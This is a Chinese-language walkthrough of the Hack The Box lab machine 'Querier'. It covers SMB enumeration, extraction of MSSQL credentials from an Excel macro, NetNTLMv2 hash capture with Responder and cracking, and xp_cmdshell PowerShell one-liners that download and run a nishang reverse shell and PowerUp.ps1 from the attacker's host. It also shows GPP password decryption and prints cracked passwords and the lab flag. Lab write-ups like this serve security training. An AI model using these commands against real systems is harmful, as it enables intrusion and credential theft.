总结与反思:
1. 收集信息要全面
2. 用snmp-check检查snmp目标是否开启这个服务
3. smbmap尝试用匿名用户anonymous来枚举目标的共享资源,可能会枚举成功
4. 使用smbclient连接到smb进行命令操作
5. 使用ole来分析宏
6. 使用mssqlclient.py来连接MSSQL
7. mssqlclient.py开启Windows Authentication参数来,保证正常登录
8.使用mssqlclient.py开启cmd_shell
9. 利用Responder窃取服务器的凭证
10. 利用 | 、less 、\+关键词 快速查找内容
11. 使用hashcat破解NetNTLMv2密码
12. 使用john破解NetNTLMv2密码
13. 利用mssql来执行cmd命令
14. 使用PowerShell攻击框架里的Invoke-PowerShellTcp.ps1脚本反弹shell
15. 使用powershell远程下载反弹shell脚本并执行
16. 使用rlwrap 来解决shell中输出不正常问题(删除,方向键是字符问题)
17 使用cmd远程下载提权信息收集脚本PowerUp.ps1
18. 使用smbmap【The NETBIOS connection with the remote host timed out】的时候需要通过-d添加 域的名字
19. 利用域内获取的账号密码尝试使用psexec进行命令执行【前提smb服务开启,并且有权进行读写】
20. 利用GPP漏洞得到管理员密码
靶机信息
KALI地址:10.10.12.115
先用Nmap进行信息收集
nmap -sC -sV -A 10.10.10.125
扫描结果如下:
root@kali:~/HTB/Querier# nmap -sC -sV -A 10.10.10.125
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-30 14:20 CST
Nmap scan report for 10.10.10.125
Host is up (0.40s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 14.00.1000.00 [64/168]
| ms-sql-ntlm-info:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: QUERIER
| DNS_Domain_Name: HTB.LOCAL
| DNS_Computer_Name: QUERIER.HTB.LOCAL
| DNS_Tree_Name: HTB.LOCAL
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2019-06-28T04:08:30
|_Not valid after: 2049-06-28T04:08:30
|_ssl-date: 2019-06-30T05:22:01+00:00; -1h00m00s from scanner time.
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=6/30%OT=135%CT=1%CU=30857%PV=Y%DS=2%DC=T%G=Y%TM=5D1855
OS:13%P=x86_64-pc-linux-gnu)SEQ(SP=F9%GCD=1%ISR=10A%TI=I%CI=I%II=I%SS=S%TS=
OS:U)SEQ(SP=F9%GCD=1%ISR=10A%TI=I%CI=I%TS=U)OPS(O1=M54DNW8NNS%O2=M54DNW8NNS
OS:%O3=M54DNW8%O4=M54DNW8NNS%O5=M54DNW8NNS%O6=M54DNNS)WIN(W1=FFFF%W2=FFFF%W
OS:3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M54DNW8NNS%CC=
OS:Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S
OS:%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=
OS:Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%
OS:RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0
OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIP
OS:CK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -1h00m00s, deviation: 0s, median: -1h00m00s
| ms-sql-info:
| 10.10.10.125:1433:
| Version:
| name: Microsoft SQL Server
| number: 14.00.1000.00
| Product: Microsoft SQL Server
|_ TCP port: 1433
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-06-30 13:22:03
|_ start_date: N/A
TRACEROUTE (using port 3306/tcp)
HOP RTT ADDRESS
1 395.56 ms 10.10.12.1
2 396.53 ms 10.10.10.125
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.70 seconds
可以看到目标机器存在MSSQL,SMB服务
我们在检查下snmp服务是否存在
发现snmp服务不存在
那么我们现在根据nmap的结果来进行测试。
我们用smbmap来尝试枚举下目标的资源,发现访问被禁止
那么我们尝试下匿名的用户去访问,发现资源被枚举出来了
这里的Reports不是系统自带的,所以我们对Reports进行信息挖掘
那么我们用smbclient来访问Reports目录,并执行命令操作
发现目录里面有一个excel文件,我们把他下载回来
xls是2003版本下的文件,不管有没有宏程序的话都是xls文件。
2007做了区分,XLSM文件XLSX文件都是excel2007文件,但前者是含有宏启用,Excel中默认情况下不自动启用宏。
Excel不会执行宏XLSX文件,即使它们包含宏代码,因此含有宏的文件可以保存为xlsm文件。
这个“Currency Volume Report.xlsm”是存在宏的,这里我们用下OLE工具套件来分析office宏
用apt安装ole套件
然后我们用olevba去分析我们刚刚下载来的XLSM文件
root@kali:~/HTB/Querier/smb# olevba Currency\ Volume\ Report.xlsm
olevba 0.51 - http://decalage.info/python/oletools
Flags Filename
----------- -----------------------------------------------------------------
Analysis...
' further testing required
#里面宏代码内容
Private Sub Connect()
Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset
Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open
If conn.State = adStateOpen Then
' MsgBox "connection successful"
'Set rs = conn.Execute("SELECT * @@version;")
Set rs = conn.Execute("SELECT * FROM volume;")
Sheets(1).Range("A1").CopyFromRecordset rs
rs.Close
End If
End Sub
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls
in file: xl/vbaProject.bin - OLE stream: u'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
#发现2个可疑的宏
+------------+-------------+-----------------------------------------+
| Type | Keyword | Description |
+------------+-------------+-----------------------------------------+
| Suspicious | Open | May open a file |
| Suspicious | Hex Strings | Hex-encoded strings were detected, may |
| | | be used to obfuscate strings (option |
| | | --decode to see all) |
+------------+-------------+-----------------------------------------+
我们可以发现里面的MSSQL连接字符串
Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6
然后我们使用mssqlclient.py进行登录,如果你没这个py脚本可以从下面的项目地址获得
项目地址:https://github.com/sdfzy/impacket
把mssqlclient.py拷贝出来
然后进行登录,发现登录失败
我们需要开启Windows Authentication,才能正常登录
然后我们访问下cmd,发现被禁止
因为我们的权限不够,但是我们可以用Responder对服务器上的凭证进行窃取
关于Responder的原理和窃取可以看这个文章:https://blog.csdn.net/nzjdsds/article/details/94314995
原理是,通过LLMNR/NBT-NS欺骗攻击,让MSSQL去访问我们伪造的服务,当MSSQL去执行时就会把它自己的凭证发给我们,我们通过破解它的凭证在返回去登录MSSQL,得到高权限
Responder地址:https://github.com/sdfzy/Responder
我们开启Responder,-I 填的是我们连接HTB的网络接口,可以通过ifconfig查看
root@kali:~/HTB/Querier/Responder# python Responder.py -I tun0 -i 10.10.12.115
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 2.3.3.9
Author: Laurent Gaffie ([email protected])
To kill this script hit CTRL-C
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [tun0]
Responder IP [10.10.12.115]
Challenge set [random]
Don't Respond To Names ['ISATAP']
[+] Listening for events...
然后我们去MSSQL执行命令
之后我们的Responder就能窃取到凭证
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.10.10.125
[SMB] NTLMv2-SSP Username : QUERIER\mssql-svc
[SMB] NTLMv2-SSP Hash : mssql-svc::QUERIER:719e19ceae7c4441:EBBDF25ADE14E7C1FFB5F85A75C5297C:0101000000000000C0653150DE09D201C0C49F0639705148000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000300000236A52A873A5D10CDB0271A7669DD127DF24262F1C6E8B7E9E4B29DA4036B0020A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310032002E00310031003500000000000000000000000000
[*] Skipping previously captured hash for QUERIER\mssql-svc
然后我们用hashcat去破解下
首先我们查下NetNTLMv2的模式代码是多少
hashcat --example-hashes |less
进入后 / + NetNTLM 进行搜索
可以看到NetNTLMv2模式代码为5600
然后我们就可以开始破解
hashcat -m 5600 Querier.NetNTLMv2 /usr/share/wordlists/rockyou.txt
也可以用john来破解NetNTLMv2密码
用户名:mssql-svc 密码:corporate568
然后我们用获取到的凭证再次用mssqlclient.py登录
help下
开启cmd功能
我们来测试查看cmd是否真的开启
命令是正常执行的
我们使用nishang的反弹shell脚本
nishang项目地址:https://github.com/sdfzy/nishang
cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 reverse.ps1
然后我们编辑下reverse.ps1脚本在底下加上,IP写上你自己的IP,端口写上你nc监听的端口
然后还是老样子用python开启简单HTTP服务,让靶机把我们的reverse.ps1下载并执行
xp_cmdshell powershell IEX(New-Object Net.WebClient).downloadstring(\"http://10.10.12.115:8000/reverse.ps1\")
然后我们就得到一个shell,这里我是用了rlwrap来解决shell中(删除键,方向键等)输出不正常问题
然后我们就能得到user的flag
c37b41bb669da345bb14de50faab3c16
接下来就是开始提权
这里我们使用PowerSploit里面的提权信息收集脚本PowerUp.ps1
项目地址:https://github.com/PowerShellMafia/PowerSploit
一样把脚本拷贝过来,并让靶机下载执行
IEX(New-Object Net.Webclient).downloadstring("http://10.10.12.115:8000/PowerUp.ps1") Invoke-AllChecks
这里可能需要等几分钟出结果
这里我们看到一个服务滥用
我们尝试利用下
发现john确实加进来了,我们利用smbmap利用下,这里需要增加-d参数 写上域的名字
然后发现这个john的权限也不够
我们换一个提权方式
Changed : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File : C:\ProgramData\Microsoft\Group
Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
这里还有一组管理员的账号和密码我们再次进行尝试,成功!
提权成功,我们已经拿到system权限了,这里就不演示cat root flag了
这里还有一种是GPP漏洞的利用,原理跟上面是差不多的。只是需要自己手动破解密码
GPP提权
我们可以通过找到组策略里面的管理员密码并破解出来
Groups.xml
我们仍然需要解密密码,这可以通过以下方式轻松完成gpp-decrypt:
root@kali:~/HTB/Querier# gpp-decrypt CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ
/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated
MyUnclesAreMarioAndLuigi!!1!
这里看到这里的密码也是我们上面获取到的密码一样
MyUnclesAreMarioAndLuigi!!1!